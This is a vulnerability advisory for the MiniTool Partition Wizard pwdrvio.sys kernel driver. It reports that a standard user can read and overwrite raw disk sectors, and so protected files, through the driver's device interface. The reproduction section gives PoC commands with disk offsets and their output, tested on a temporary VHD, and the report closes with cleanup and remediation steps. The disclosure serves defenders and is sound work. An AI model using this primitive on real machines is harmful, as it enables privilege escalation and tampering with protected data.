MiniTool Partition Wizard Kernel Driver pwdrvio.sys Arbitrary Read and Write
MiniTool Partition Wizard Kernel Driver Allows Standard Users to Read and Write Raw Disk Sectors
Summary
MiniTool Partition Wizard DEMO 13.6 installs the signed kernel driver pwdrvio.sys. The driver exposes \\.\PartitionWizardDiskAccesser\<disk_number> and forwards read, write, and disk IOCTL requests to the lower disk device from kernel context.
In the validation below, a standard user at Medium Integrity could not directly read or write a protected file on a temporary VHD and could not directly open \\.\PhysicalDrive1. The same standard user used pwdrvio.sys to read the protected file's NTFS data clusters from the raw disk and then overwrite those clusters. After remounting the VHD, the protected file contained the low-user supplied marker.
Affected Product and Version
- Product: MiniTool Partition Wizard DEMO
- Tested version: 13.6
- Driver:
pwdrvio.sys - Driver SHA-256:
0489B3DEC6A33E50D8A48A8DAD3F5B923A81F7300E4A71358D90D2879BAC9AA2
Download URL and SHA-256
- Download page:
https://www.partitionwizard.com/download.html - Download URL:
https://cdn2.minitool.com/?e=pw-demo&p=pw - File name used for validation:
pw_demo_installer.exe - Installer SHA-256:
DBF366FEDD9773D2B336A11180AA00CAFF0F066EF17061C022ACEDBC3548B0FB - Installer version: 13.6
- Installer signature: Valid, MiniTool Software Limited
- Driver signature: Valid, MiniTool Solution Ltd
Vulnerability Type
Local privilege escalation primitive / raw disk read-write access-control bypass through a kernel driver.
Impact
A low-privileged local user can bypass Windows file and raw-disk access controls by reading and writing raw disk sectors through pwdrvio.sys. This can expose protected file content and can modify protected files by writing their underlying NTFS data clusters.
The proof used a temporary VHD and a self-created protected marker file. The same primitive could be used against sensitive files or filesystem metadata on real disks if the vulnerable driver is installed and reachable.
Test Environment
- OS: Windows x64 test VM
- Administrator account used only for installation, VHD setup, and cleanup
- Test user: standard user
EXPDEV\low - Test user integrity: Medium Integrity
- Test user groups:
BUILTIN\Users, notBUILTIN\Administrators - Controlled disk: temporary VHD attached as disk 1
- Protected test object:
R:\protected\admin_only_flag.bin
Driver Load / Setup Steps
The official MiniTool Partition Wizard DEMO 13.6 installer was downloaded from the vendor CDN and verified. It was installed silently:
pw_demo_installer.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
The installer created and started the pwdrvio kernel service:
SERVICE_NAME: pwdrvio
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
BINARY_PATH_NAME : \SystemRoot\system32\pwdrvio.sys
A temporary VHD was created, formatted NTFS, and assigned drive letter R:. An administrator created a protected marker file on that VHD and removed inheritance so only Administrators and SYSTEM had access:
New-Item -ItemType Directory R:\protected
[IO.File]::WriteAllBytes('R:\protected\admin_only_flag.bin', $markerBytes)
icacls R:\protected\admin_only_flag.bin /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F'
The file's NTFS extent was resolved with fsutil file queryextents. The first data run began at disk offset 5865472 and was 20480 bytes long on disk 1.
Reproduction Steps
Run the baseline as the standard user:
whoami /all
[IO.File]::ReadAllBytes('R:\protected\admin_only_flag.bin')
[IO.File]::WriteAllText('R:\protected\admin_only_flag.bin', 'SHOULD-NOT-WRITE')
[IO.File]::Open('\\.\PhysicalDrive1', [IO.FileMode]::Open, [IO.FileAccess]::ReadWrite, [IO.FileShare]::ReadWrite)
Observed:
expdev\low
BUILTIN\Users
Mandatory Label\Medium Mandatory Level
READ-FAILED: Access to the path 'R:\protected\admin_only_flag.bin' is denied.
WRITE-FAILED: Access to the path 'R:\protected\admin_only_flag.bin' is denied.
RAW-OPEN-FAILED: Access to the path '\\.\PhysicalDrive1' is denied.
Read the protected file's raw data clusters through the driver as the same standard user:
minitool_pwdrvio_disk_forwarder_poc.exe --disk 1 --read --offset 5865472 --length 20480 --out exploit_read_clusters.bin
Observed:
read 20480 bytes from disk 1 offset 5865472 via pwdrvio forwarder
0000 4d 49 4e 49 54 4f 4f 4c 2d 50 57 44 52 56 49 4f
0010 2d 50 52 4f 54 45 43 54 45 44 2d 46 4c 41 47 2d
The extracted cluster data contained:
MINITOOL-PWDRVIO-PROTECTED-FLAG-cb09e8c5-5583-4bfd-b7db-75d54699bb4f
Dismount the VHD volume, then overwrite only the same controlled file data run as the standard user:
mountvol R: /p minitool_pwdrvio_disk_forwarder_poc.exe --disk 1 --write --offset 5865472 --in controlled_write_payload.bin --dangerous-write
Observed:
wrote 20480 bytes to disk 1 offset 5865472 via pwdrvio forwarder
Reassign the VHD drive letter and read the protected file as administrator. The file now contains:
MINITOOL-PWDRVIO-WRITE-FLAG-1bb2fd73-db86-41b4-9ffa-83ec90f89d24
Baseline Evidence
baseline_direct_access.txtshows the test user isEXPDEV\low, belongs toBUILTIN\Users, and runs at Medium Integrity.- The same baseline shows direct read and direct write access to the protected marker file failed with access denied.
- The same baseline shows direct read-write open of
\\.\PhysicalDrive1failed with access denied.
Exploit Evidence
exploit_geometry.txtshows a disk geometry IOCTL succeeded through\\.\PartitionWizardDiskAccesser\1.exploit_read_stdout.txtshows the standard user read 20480 bytes from disk 1 offset5865472throughpwdrvio.sys.exploit_read_marker.jsonconfirms the raw data contained the protected marker string.exploit_write_stdout.txtshows the standard user wrote 20480 bytes to the same disk offset throughpwdrvio.sys.admin_flag_after_write.jsonconfirms the protected file contained the new write marker after remount.
Why This Proves the Vulnerability
The test user is a standard user at Medium Integrity. Windows correctly denied that user direct file access and direct raw-disk access. The same user could access the protected file contents and overwrite them through pwdrvio.sys, because the driver exposes raw disk reads and writes without enforcing the caller's normal Windows access checks.
This demonstrates a practical protected-file read/write impact using a controlled VHD and a self-created protected flag file.
Cleanup Steps
Dismount-DiskImage -ImagePath C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd C:\Program\unins000.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART sc.exe stop pwdrvio sc.exe delete pwdrvio sc.exe delete pwdspio Remove-Item C:\ProgramData\VendorRepro\minitool_pwdrvio -Recurse -Force
Cleanup was confirmed: the VHD was dismounted, the product uninstaller exited successfully, pwdrvio was deleted, and the runtime test directory no longer existed.
Suggested Remediation
- Do not expose raw disk read/write forwarding to low-privileged callers.
- Restrict the device object ACL with
IoCreateDeviceSecureor an INF SDDL so only trusted administrative service components can open the device. - Impersonate the caller and require normal Windows access checks before opening or forwarding operations to disk devices.
- Remove generic disk IOCTL forwarding or replace it with a strict allowlist of non-sensitive operations.
- Add explicit authorization checks for all write-capable and raw-disk-capable IOCTL/read/write paths.